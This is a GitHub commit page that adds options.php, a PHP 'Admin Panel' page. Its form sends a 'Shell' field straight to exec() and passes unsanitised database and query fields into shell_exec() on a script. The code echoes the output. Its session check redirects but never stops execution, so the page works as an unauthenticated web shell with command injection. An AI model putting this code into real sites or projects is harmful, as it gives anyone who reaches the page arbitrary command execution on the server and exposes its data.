Skip to content
This repository was archived by the owner on Sep 23, 2022. It is now read-only.

Commit ff62169

Browse files
authored
Create options.php
1 parent ededf33 commit ff62169

1 file changed

Lines changed: 40 additions & 0 deletions

File tree

options.php

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
<!Doctype Html>
2+
<?php
3+
session_start();
4+
$status = $_SESSION['status'];
5+
if($status == "1"){
6+
}else if($status != "1"){
7+
header("Location: /404.php");}
8+
9+
?>
10+
<html>
11+
<head>
12+
<title>Admin Panel</title>
13+
</head>
14+
<body>
15+
<p>Enter MYSQL query below</p>
16+
<form action="" name="query" id="query" method="post">
17+
Shell: <input type="text" id="query_box" name="query_box"></input><br>
18+
DBNAME: <input type="text" id="mysql_get" name="mysql_get"></input><br><br>
19+
Query: <input type="text" id="myquery" name="myquery"></input><br><br>
20+
<button type="Submit" value="Submit">Submit</button>
21+
</form>
22+
</body>
23+
24+
<?php
25+
$db = $_POST['mysql_get'];
26+
$query = $_POST['myquery'];
27+
$execute = shell_exec("./mysql.sh $db $query");
28+
echo $execute;
29+
30+
$cwd=getcwd();
31+
echo "Current directory: $cwd";
32+
33+
34+
$shell = $_POST['query_box'];
35+
$run = exec("$shell");
36+
echo $run;
37+
?>
38+
39+
40+
</html>

0 commit comments

Comments
 (0)